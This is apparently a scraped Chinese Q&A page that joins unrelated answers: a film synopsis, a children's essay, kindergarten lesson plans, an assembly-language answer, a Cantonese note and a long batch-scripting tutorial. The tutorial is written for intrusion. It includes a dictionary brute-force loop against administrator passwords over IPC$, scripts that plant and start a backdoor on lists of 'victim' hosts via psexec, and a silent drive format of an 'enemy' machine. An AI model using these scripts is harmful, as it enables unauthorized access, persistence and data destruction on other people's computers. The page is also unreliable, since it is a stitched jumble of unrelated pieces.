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捉迷藏c語言

發布時間: 2022-08-31 18:06:49

① 美國電影《捉迷藏》講的是什麼意思

劇情簡介:

紐約市的心理學家大衛·查拉維(羅伯特·德尼羅飾)有一個幸福的家庭,但他的妻子在新年前夕突然自殺,11歲的女兒艾米莉(達科塔·范寧飾)在這一打擊下幾乎失語。為了幫助女兒治療心理創傷,大衛將家從紐約市區搬到僻靜的郊外。

大衛原以為這樣就可以忘記過去,與女兒過上平靜的生活。但他沒想到女兒的行為變得更怪異,她與一個想像中的朋友「查理」交上了朋友,甚至整天玩捉迷藏的游戲。

慢慢地這個虛幻的「查理」深深地介入大衛一家的生活;隨後一連串奇異的死亡事件先後發生,令人毛骨悚然,而女兒都說是「查理」乾的。於是,大衛決心找出答案。

(1)捉迷藏c語言擴展閱讀:

《捉迷藏》是由二十世紀福斯電影公司發行的懸疑片,由約翰·波爾森執導,羅伯特·德尼羅和達科塔·范寧主演,於2005年1月28日在美國上映。

影片講述了在妻子自殺後,丈夫大衛發現女兒開始有了一個只存在於她意識里的「朋友」查理,而且查理漸漸開始侵入他們現實生活的故事。

影片評價;

該片老少配的演員陣容給整部影片帶來了新意。導演約翰·波爾森在這部處女驚悚片中,用一種緩慢而穩步的恐懼給觀眾帶來了的來自心底的驚嚇和恐懼。

影片至始至終都氤氳在讓人陰冷的氛圍之中。導演並沒有運用流行的特技來渲染影片中的恐怖氣氛,而是大量使用節奏變換多樣的音樂,不斷閃回的鏡頭和一些莫名其妙人物的突然出現來慢慢營造氣氛以烘托最後迷局揭開的那一刻。

此外,再加上兩位演員的精彩演繹,使得該片呈現出一種讓人「琢磨不定」的氣息。

老戲骨羅伯特·德尼羅的表現一如既往的穩定,但似乎劇本並沒有給他多少發揮的餘地,角色本身既沒有跌宕起伏的心理變化,也沒有大喜大悲的人生境遇以供他揮灑,他需要做得僅僅是面無表情即可。

倒是小演員達科塔·范寧有著超乎尋常的優異表現,她恰如其分的表演賦予了角色一種悲情並讓人憐惜的特質。(2005年08月22日09:32新浪娛樂)

② 想知道捉迷藏怎麼寫

寫作思路:要直接簡化任務語言。在敘述中,我們要把直接敘述變成間接敘述,盡可能簡化人物語言。這樣,即使情節連貫,又使語句「簡練」。

有一天,我和幾個朋友一起玩捉迷藏的游戲。

我們先猜拳,一位小朋友輸了,我們就躲起來,他來找我們。我們藏得很隱蔽,那個小朋友找啊找啊,找了好久都沒有找到。在他換了好幾個地方以後,他終於找到了,第一個就找到了我。「啊!終於找到了!」他高興的大叫道。

這次輪到我去找他們了。等我數完一百聲後,他們已經藏得影兒都沒了。我四處張望,真不知道該從哪裡開始找。

我這里看看,那裡瞧瞧,汗水都出來了,還是沒有找到一個人。我有些氣餒了,剛想放棄,忽然聽到一堵牆後傳來「咯咯」的笑聲,我小心翼翼的走過去,到了牆邊才一下子跳過去,終於讓我發現了一個小朋友。我開心極了!

我的精神一下就好起來了,繼續找,終於把他們一個一個的都找出來了。

③ 幼兒園中班語言教案《捉迷藏》

在教學工作者實際的教學活動中,時常會需要准備好教案,教案是教學活動的總的組織綱領和行動方案。教案應該怎麼寫呢?以下是我整理的幼兒園中班語言教案《捉迷藏》,歡迎閱讀與收藏。

幼兒園中班語言教案《捉迷藏》1

設計意圖:

小班孩子在表達時常常把一些方位詞混淆,而且在交流、表現這些方面還不夠大膽、大方,根據孩子的年齡特點,我們利用生活中的材料(如紙箱、桌子、雨傘等)和幼兒共同創設多樣的語言情境,讓孩子在提供的情境中積極互動,學習正確使用上、下、前、後、里等方位詞不斷獲得新的語言經驗,成為主動探求並積極參與語言加工的創造者。

教案目的:

1、能在中正確掌握空間方位詞:上、下、前、後、里。

2、積極參與活動,在活動中樂於和同伴交流,大膽地表現自己。

教案准備:

1、森林場景、小動物玩具若干

2、課前與幼兒一起自製小貓胸飾若干

3、學習歌曲「找小貓」

教案過程:

一、以到森林遊玩,音樂進場。

二、學習正確使用方位詞:

(一)尋找小動物:「找找小動物們在哪裡?」

1、引導幼兒學習正確使用方位詞。

2、鼓勵幼兒認真觀察,大膽講述。

(二)尋找貓寶寶胸飾

「那我們先去找找我們自己做的貓寶寶胸飾藏在哪裡了,每個寶寶找一個胸飾,找到的寶寶自己將胸飾戴好,然後坐在草地上告訴同伴你是在什麼地方找到貓寶寶胸飾的。」

1、請幼兒自由尋找並且鼓勵幼兒和夥伴交流。

2、鼓勵幼兒大膽說出自己在哪找到貓寶寶胸飾的?

三、「捉迷藏」:

1、交代規則:

「寶寶們聽到音樂響起來了就在森林裡找一個舒服的地方躲起來,等音樂停下來時,寶寶們就要躲好了。媽媽來找你們時被媽媽找到的寶寶要告訴媽媽你躲在什麼地方?會完整告訴媽媽躲在哪裡的寶寶,媽媽獎勵他一個大蘋果。沒有被媽媽找到的寶寶要繼續躲好不要發出聲音。

2、師幼共同

提問:剛才寶寶們躲在哪裡?(引導幼兒說完整的話,並能用正確的方位詞大膽地表述)

四、結束部分

「寶寶們今天玩得開心嗎?現在天黑了,我們坐車回家吧!」

幼兒園中班語言教案《捉迷藏》2

活動目標:

1、仔細觀察,能大方講述自己的發現,感受發現的樂趣。

2、發現動物體色(外形)和環境的關系。知道一些動物自我保護的本領。

活動准備:

《艾瑪捉迷藏》PPT,太陽傘、輪船、帳篷、襪子圖片

活動過程:

一、 導入

1、出示封面,師:今天,老師帶來了一本繪本,看看!繪本的封面上有誰?(大象)哦,它和你們一樣有名字哦,它叫艾瑪!我們和艾瑪打個招呼吧!

2、師:看看艾瑪身上有什麼特別的地方?(身上有很多顏色)有些什麼顏色呀?說一說。那這些顏色在艾瑪身上構成一塊一塊的什麼圖形?

師:哦,原來艾瑪是一隻五顏六色的花格子大象。

3、師:今天艾瑪要和森林裡的小動物們玩捉迷藏的游戲,你們玩過捉迷藏游戲嗎?怎麼玩的?

二、 艾瑪捉迷藏,感受捉迷藏的樂趣

1、出示PPT2,師:那我們看看艾瑪和小鳥誰找誰藏呢?你從哪裡可以看出來?捉迷藏游戲開始咯,艾瑪趕緊找地方去躲了起來。

2、出示PPT3,師:小鳥睜開眼睛開始找咯!它先飛到了小山坡上,這里會藏著艾瑪嗎?仔細地來找一找。是這里嗎?你為什麼覺得這里可能是艾瑪呢?)那到底是不是呢?(出示「帳篷畫面」)是什麼?(我告訴你們哦,這是一頂帳篷,)知道什麼是帳篷嗎?那你們仔細看看,這是一頂怎麼樣的帳篷?

3、師:小鳥繼續在這里找呀找呀,它又發現了艾瑪,你們發現了嗎?在哪裡?是艾瑪嗎?(出示衣服、襪子畫面)原來是什麼?

4、師:這里也沒有藏著艾瑪,小鳥接著又飛到了小樹林里,它一下子就找到了艾瑪,你們找到了嗎?在哪裡?我們一起看看是不是呢?(出示太陽傘畫面)你能用好聽的詞來說說這頂太陽傘嗎?(幼兒說說)你們說得太好了,這里有一頂五顏六色的太陽傘,可是沒有花格子大象艾瑪哦!

5、師:小鳥繼續向前飛,來到了灌木叢里,這里有艾瑪嗎?在哪呢?到底是不是呢?我們閉上眼睛,我數到三你們再睜開,1,2,3,(出示小船畫面)哎!怎麼還不是艾瑪呀?原來是一艘小船啊!

6、(同時出示帳篷、衣服襪子、太陽傘、小船畫面)師:剛才我們和小鳥找了好多地方,把哪些東西當成艾瑪了呀?為什麼會把他們看成是艾瑪呢?

三、 小動物捉迷藏,了解躲藏的秘密

1、師:哎,小鳥找了這么多地方也沒找到艾瑪,於是它決定先去找其他小動物,看這里!藏著誰呢?(找找說說青蛙、瓢蟲)

2、師:其他小動物都找到了,可是艾瑪還沒找到呢!我們再去找找它吧!

四、幫艾瑪躲躲好

1、師:小鳥飛呀飛呀,來到了更遠的地方,它在一片草叢里一下子就發現了艾瑪,小鳥說:「艾瑪,你怎麼躲在這里呀?」艾瑪說:「哎,我身上五顏六色的,走了這么遠,也沒能找到適合我躲的地方,我只好隨便躲在這個草叢里。」小鳥說:「沒關系,艾瑪,我們再來玩一次,這次你可要藏得好好的哦!」

2、師:我們小朋友來幫艾瑪想想它躲在哪裡才不容易被小鳥發現呢?

(根據幼兒說的貼出太陽傘、輪船、帳篷、襪子,感受色彩的相似)

師:原來你已經知道了捉迷藏不容易被人發現的秘密了,就是躲在和自己身體顏色相近的地方,那我們一起來告訴艾瑪吧!艾瑪,艾瑪,你可以躲在五顏六色的……里,誰也來告訴艾瑪?(1個幼兒)

師:除了躲在五顏六色的……里,還可以躲在哪裡呢?你來說。(幼兒學說句式)

3、師:說得太棒了!相信在你們的幫助下,這一次艾瑪一定會把自己藏的好好的。我們今天看了小動物們玩捉迷藏游戲,你們也想玩嗎?那我們回到教室也去玩一玩吧!

幼兒園中班語言教案《捉迷藏》3

活動目標

1、感受詩歌中的有趣意境,激發幼兒對大自然多彩的顏色產生濃厚興趣。

2、通過猜測,發散幼兒的'思維,提高幼兒的語言能力。

3、能用"xx躲在x顏色里"的句式進行散文仿編。

4、引導幼兒細致觀察畫面,激發幼兒的想像力。

5、根據已有經驗,大膽表達自己的想法

活動准備

圖片:太陽、顏色寶寶5種。自製動態ppt。

活動重點

有感情朗誦散文,能用"xx躲在x顏色里"的句式進行散文仿編。

活動難點

專心傾聽散文,理解顏色對應關系。

活動過程

1、出示蒙眼的太陽提問:這是誰?它怎麼啦?為什麼太陽要蒙眼睛呢?它會和誰一起玩捉迷藏呢?

2、出示ppt提問:這是什麼顏色?依次出示紅黃蘭綠白。

教師總結:黑夜用長長的手帕,把太陽的眼睛蒙了起來,趁他還在數著:一、二、三、四······顏色們趕緊找個自己喜歡的地方,靜悄悄地躲起來。

3、幼兒大膽猜想教師:請小朋友們猜猜顏色們會躲到哪裡去呢?

紅色躲在哪裡?綠色躲在哪裡?藍色躲在哪裡?黃色躲在哪裡?白色躲在哪裡?

4、出示完整的ppt教師:黑夜把手帕解開,太陽睜開眼睛,開始找顏色們。我們一起來找一找。

為什麼綠色躲在草叢里?

師幼一起小結:綠色躲在草叢里,黃色躲在菊花里,紅色躲在楓葉里,藍色躲在天空里,白色躲在雲朵里。

顏色寶寶要躲在與自己顏色相近或一樣的地方,才不容易被太陽發現。

5、 引導幼兒了解散文,感受散文的趣味性。

播放音樂,引導幼兒集中精力傾聽散文,在腦海里想像散文中顏色寶寶玩游戲時的快樂畫面。

6、游戲:捉迷藏,鼓勵幼兒參與活動在游戲中仿編散文。

游戲方法:每位幾位幼兒選擇一張自己喜歡的顏色卡片,來扮演顏色寶寶,老師扮演太陽。播放動聽音樂,小朋友悄悄躲到教室的某個角落,音樂結束太陽照到小朋友時,小朋友站起來大聲說:"x顏色躲在xx里"。

活動延伸:

到戶外與真正的太陽玩"捉迷藏"的游戲。

教學反思:

游戲是最適宜於促進幼兒主體性和個性化教育的形式,因此,教師應積極地將理念轉化為行為,注重在活動中觀察、捕捉幼兒的興趣,把握時機及時引導,促使孩子們更深入進行游戲,讓孩子在健康游戲中得到更多的發展。

④ 匯編問題!解釋指令!

1。第一種實現方法的最後一條語句語法是錯誤的,應改為:
MOV BX,DX
MOV AX,DS:[BX]或MOV AX,[BX]
其餘地方你的理解是正確的。
2。第二個答案其實又包括兩種實現方法,你把它們合並在一起了。
MOV BX,[2000H]
MOV AX, [2000H+2]
MOV ES,AX
MOV AX,ES:[BX];這是一種實現方法

MOV BX,2000H
LES BX,[BX]
MOV AX,ES:[BX];這又是一種實現方法
因此你一共給出了三種方法的實現。

MOV AX,ES:[BX] (不理解,為什麼是[BX],而不是BX。從這開始不理解!)
在匯編語言中沒有 段寄存器名:寄存器名 這種格式,只有在內存操作數對應的定址方式前才能加段超越前綴,這說明你對定址方式的理解還存在一定的問題,多看看就好了。

⑤ 捉迷藏英文如何讀

害得 恩得 C克

⑥ 誰能幫幫忙!!!關於批處理!!!

一.簡單批處理內部命令簡介
1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯
設置。
語法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實
現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。

2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓
對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留
了個autoset這個參數給我們,效果和/y是一樣的。)

3.Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳
細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標
簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來
才會理解你的意圖啊。

4.Rem 命令
注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於
別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另
一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續
處理。

6.Call 命令
從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調
用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。

7.start 命令
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如
果在命令腳本內執行,該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,
c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出
判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號
為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good
bye,文件結束。

9.If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回
碼為0、1。

10.for 命令
for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I

如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-para

該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (』command』) DO command

或者,如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (』command』) DO command

filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字元串的。

%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高於字母 』z』 或
』Z』 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。

您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,
用單引號將括弧之間的 filenameset 括起來。這樣,該字元
串會被當作一個文件中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括弧之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進

內存,並被當作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變數名稱。

另外,FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:

~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義,或者沒有找到文件,此組合鍵會擴充
空字元串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2:

利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,
當成功時記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%"
/u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程
序運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命
令成功完成">>D:\ok.txt ,這樣就ko了。

sample3:

你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心
的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。
那麼如何實現呢?呵呵,看下去你就會明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j
%%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給
door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,
然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到
指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這
victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip
password username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat )
---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i
%%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat )
---------------------------

------------------- cut here then save as a batchfile(I call it door.bat)
-----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD
%3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat)
--------------------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe
需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之
具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

二.如何在批處理文件中使用參數
批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這
種情況並不多見,我們就不考慮它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,
好像有點畫蛇添足了~^_^
sample2:
當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把
一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處
理,這樣就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這么帥一定學會了^_^.

三.如何使用組合命令(Compound Command)

1.&

Usage:第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage:第一條命令 && 第二條命令 [&& 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一
直沒有出錯則一直執行完所有命令;

Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做備份的時候可能會用到這種命令會比較簡單,如:
dir file://192.168.0.1/database/backup.mdb &&
file://192.168.0.1/database/backup.mdb E:\backup
如果遠程伺服器上存在backup.mdb文件,就執行命令,若不存在該文件則不執行
命令。這種用法可以替換IF exist了 :)

3.||

Usage:第一條命令 || 第二條命令 [|| 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒
有出現正確的命令則一直執行完所有命令;

Sample:
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:
sample:
@ trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS
%3 >>victim.txt

四、管道命令的使用

1.| 命令
Usage:第一條命令 | 第二條命令 [| 第三條命令...]
將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。

sample:
time /t>>D:\IP.log
netstat -n -p tcp|find ":3389">>D:\IP.log
start Explorer
看出來了么?用於終端服務允許我們為用戶自定義起始的程序,來實現讓用戶運行下面這個
bat,以獲得登錄用戶的IP。

2.>、>>輸出重定向命令
將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在於,>會清除調原
有文件中的內容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容。

sample1:
echo hello world>c:\hello.txt (stupid example?)

sample2:
時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡
鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下
的EXE和DLL文件作一個記錄:
運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.
這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和
dllback1.txt中,然後運行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt
dllback1.txt>diff.txt.(用FC命令比較前後兩次的DLL和EXE文件,並將結果輸入到
diff.txt中),這樣我們就能發現一些多出來的DLL和EXE文件,然後通過查看創建時間、版
本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL木馬光顧了。沒有是最好,
如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將後門DLL文件注銷掉,再把
它移到回收站里,若系統沒有異常反映再將之徹底刪除或者提交給殺毒軟體公司。

3.< 、>& 、<&
< 從文件中而不是從鍵盤中讀入命令輸入。
>& 將一個句柄的輸出寫入到另一個句柄的輸入中。
<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。
這些並不常用,也就不多做介紹。

⑦ 捉迷藏廣州話怎麼說

撲哩哩(粵語音標:pok8 lei1 lei1)。

捉咿因 (dzuk7 ji1 jan1)。

廣州話(英文:Cantonese),是粵語的代表,而廣州話是粵語的典型代表,屬漢藏語系漢語族粵語廣府片,是粵語各方言中最為強勢和最具影響力的語言,也是公認的粵語標准音。

廣府片在粵中、粵北,主要分布在廣州、佛山、東莞、中山、深圳、雲浮等市以及肇慶、珠海、清遠、韶關四市的一部分,香港、澳門也在此語言區域內。

簡介

粵語,是廣東話的代表,本地人多稱為「白話」。粵語是全國七大方言之一,也是一種很有特色的方言,一種強勢的方言。粵語主要通行於廣東大部分地區、廣西部分地區及港澳。此外,在美英加的華人大部分也是使用粵語。據估計,到目前為止,全世界使用粵語的人口已有1.2億。

粵語作為漢藏語系漢語族的一種語言,它的詞彙自然和普通話有很大的共同性。據估計,與普通話相同的詞彙接近70%,如果內容為政治經濟文化等領域的詞彙一致性更高,至少有90%。

⑧ 求T-ara捉迷藏中文歌詞

